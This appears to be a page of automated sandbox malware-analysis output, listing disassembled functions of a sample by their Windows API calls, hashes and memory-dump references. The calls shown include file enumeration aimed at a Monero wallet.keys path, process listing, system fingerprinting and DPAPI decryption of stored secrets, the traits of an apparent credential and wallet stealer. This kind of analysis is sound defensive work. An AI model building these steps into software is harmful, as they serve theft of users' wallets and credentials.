Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 4dc3e10a2b6e66ce325207cd48737a76974d6ed6abb4292a571db4e6c0c1e02a
Instruction ID: dbf7fc50b7ad5e912c7002cb85d7d290117d8c5551dbaf186a745fdc3a4e64e6
Opcode Fuzzy Hash: 4dc3e10a2b6e66ce325207cd48737a76974d6ed6abb4292a571db4e6c0c1e02a
Instruction Fuzzy Hash: 7612E071A1021C9BDB55FB60EE96EEE7378AF64300F408599B10A660D1EF706F89CF91

Function 009FDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A114B0,00A10C2A), ref: 009FDAEB
StrCmpCA.SHLWAPI(?,00A114B4), ref: 009FDB33
StrCmpCA.SHLWAPI(?,00A114B8), ref: 009FDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 009FDDCC
FindClose.KERNEL32(000000FF), ref: 009FDDDE

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b1d1946d40be962737b2dc4ae508cc219d9acca0487078fa65ce248d5f171a10
Instruction ID: 75c17f54228de3bafef7951d24fbc3c154121aaac4cc28425ae527962cf37e98
Opcode Fuzzy Hash: b1d1946d40be962737b2dc4ae508cc219d9acca0487078fa65ce248d5f171a10
Instruction Fuzzy Hash: 9D91F472A1020C9BCB14FB70ED56EFD737DABE4300F408658B946961D1EE349B5D8B92

Function 00A07B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

GetKeyboardLayoutList.USER32(00000000,00000000,00A105AF), ref: 00A07BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00A07BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00A07C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A07C62
LocalFree.KERNEL32(00000000), ref: 00A07D22

Strings

/ , xrefs: 00A07C7F

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 1629410bcd40aa152abdfe7993ff8d16f07067ba85482b91d402be09e8ccdf1a
Instruction ID: a7f1b08fefc6dbf04085ba66c5525594c801b41fd45dedde4a3da044ca45500c
Opcode Fuzzy Hash: 1629410bcd40aa152abdfe7993ff8d16f07067ba85482b91d402be09e8ccdf1a
Instruction Fuzzy Hash: 9F41387195021CABDB24DB94ED99BEEB378FB54700F208199E009A21D1DB742F89CFA1

Function 009FE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00A10D73), ref: 009FE4A2
StrCmpCA.SHLWAPI(?,00A114F8), ref: 009FE4F2
StrCmpCA.SHLWAPI(?,00A114FC), ref: 009FE508
FindNextFileA.KERNEL32(000000FF,?), ref: 009FEBDF

Strings

\*.*, xrefs: 009FE44D

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: fb9f96bea9f5616e92fa8f98028a87a18707bb3c80a72ac1527a5fb957730148
Instruction ID: 0a92b2e05b46bdfee0f6caf19a8789fa5aff4c6fbdabcfbbc4fc748db1ce1810
Opcode Fuzzy Hash: fb9f96bea9f5616e92fa8f98028a87a18707bb3c80a72ac1527a5fb957730148
Instruction Fuzzy Hash: 7C120672A1021C9ADB14FB60EE96FED7379AF64300F408599B50A960D1EF346F49CF92

Function 00A09600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A0961E
Process32First.KERNEL32(00A10ACA,00000128), ref: 00A09632
Process32Next.KERNEL32(00A10ACA,00000128), ref: 00A09647
StrCmpCA.SHLWAPI(?,00000000), ref: 00A0965C
CloseHandle.KERNEL32(00A10ACA), ref: 00A0967A

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ea852396f573dd9316a5ecd309b9fafb45a3f17ac15105fdf186753d7d2c3d02
Instruction ID: d68762a2c9cbe6f4300bc15390fc40b69b25a57a217076f792001db03d9780c9
Opcode Fuzzy Hash: ea852396f573dd9316a5ecd309b9fafb45a3f17ac15105fdf186753d7d2c3d02
Instruction Fuzzy Hash: 47011E75A10208EBCB14DFA5DD88BEEB7F9EB48700F104188A945A7290DB359B50CF52

Function 00A08680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00A105B7), ref: 00A086CA
Process32First.KERNEL32(?,00000128), ref: 00A086DE
Process32Next.KERNEL32(?,00000128), ref: 00A086F3

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

CloseHandle.KERNEL32(?), ref: 00A08761

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: dbc191ff815dbf55addff1729b1bc1c37763c06bf69ee9bea5a73a99ee23a364
Instruction ID: 1750014d9989c3806d197f4c1a38fed3916b213ba83fb388e96c6f74cfa148ce
Opcode Fuzzy Hash: dbc191ff815dbf55addff1729b1bc1c37763c06bf69ee9bea5a73a99ee23a364
Instruction Fuzzy Hash: B731597191121CABCB24DB50ED45FEEB778FF55700F108599B10AA21E0DB746A49CFA2

Function 00A07A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014DE328,00000000,?,00A10E10,00000000,?,00000000,00000000), ref: 00A07A63
RtlAllocateHeap.NTDLL(00000000), ref: 00A07A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014DE328,00000000,?,00A10E10,00000000,?,00000000,00000000,?), ref: 00A07A7D
wsprintfA.USER32 ref: 00A07AB7

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 683e3d8f2983fcc0e0e97f83b258f15ffcb9b35a61d5f9c1b282a948c1f58de2
Instruction ID: 09bd10b84f2232b7653be18732fba1168cef998bae26f0f4c805fbd5e7553221
Opcode Fuzzy Hash: 683e3d8f2983fcc0e0e97f83b258f15ffcb9b35a61d5f9c1b282a948c1f58de2
Instruction Fuzzy Hash: 87118EB1E45218EBEB209B54DC49FADB778FB04721F10479AE90AA32C0C7741A44CF52

Function 009F9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 009F9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 009F9BA3
LocalFree.KERNEL32(?), ref: 009F9BD3

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
